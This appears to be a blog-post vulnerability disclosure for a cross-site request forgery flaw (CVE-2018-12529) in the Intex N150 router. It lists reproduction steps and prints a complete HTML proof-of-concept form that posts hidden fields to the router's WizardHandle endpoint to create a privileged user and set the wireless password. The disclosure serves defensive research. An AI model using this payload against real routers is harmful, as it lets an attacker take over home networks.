-

By- Navina Asrani

Hi Readers,

Recently while tinkering with my wifi router, I was curious to find if it has possible loopholes and vulnerabilities. Curious to explore its functionalities, I started probing with the options.

Title of the Vulnerability:  Cross Site Request Forgery

Vulnerability Class: Code Execution/ Privilege Escalation

Technical Details & Description: The firmware allows malicious request to be executed without verifying source of request. This leads to arbitrary execution with malicious request which will lead to the creation of a privileged user.

CVE ID allocated: -  CVE-2018-12529

Product & Service Introduction: Intex Router

Steps to Re-Produce –
1.       Visit the application
2.       Go to any router setting modification page and change the values, create a request and observe the lack of CSRF tokens.
3.       Craft an html page with all the details for the built-in admin user creation and host it on a server
4.       Upon the link being clicked by a logged in admin user, immediately, the action will get executed
Exploitation Technique: A attacker can create a rogue admin user to gain access to the application.
Severity Level: High
Security Risk:
The presence of such a risk can lead to router  compromise as well as privileged user access.
Exploit code:
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.0.1/goform/WizardHandle" method="POST">
      <input type="hidden" name="GO" value="index&#46;asp" />
      <input type="hidden" name="v12&#95;time" value="1529768448&#46;425" />
      <input type="hidden" name="WANT1" value="3" />
      <input type="hidden" name="isp" value="3" />
      <input type="hidden" name="PUN" value="testuser&#95;k" />

      <input type="hidden" name="wirelesspassword" value="00000000" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
Affected Product Version: Intex Router n150
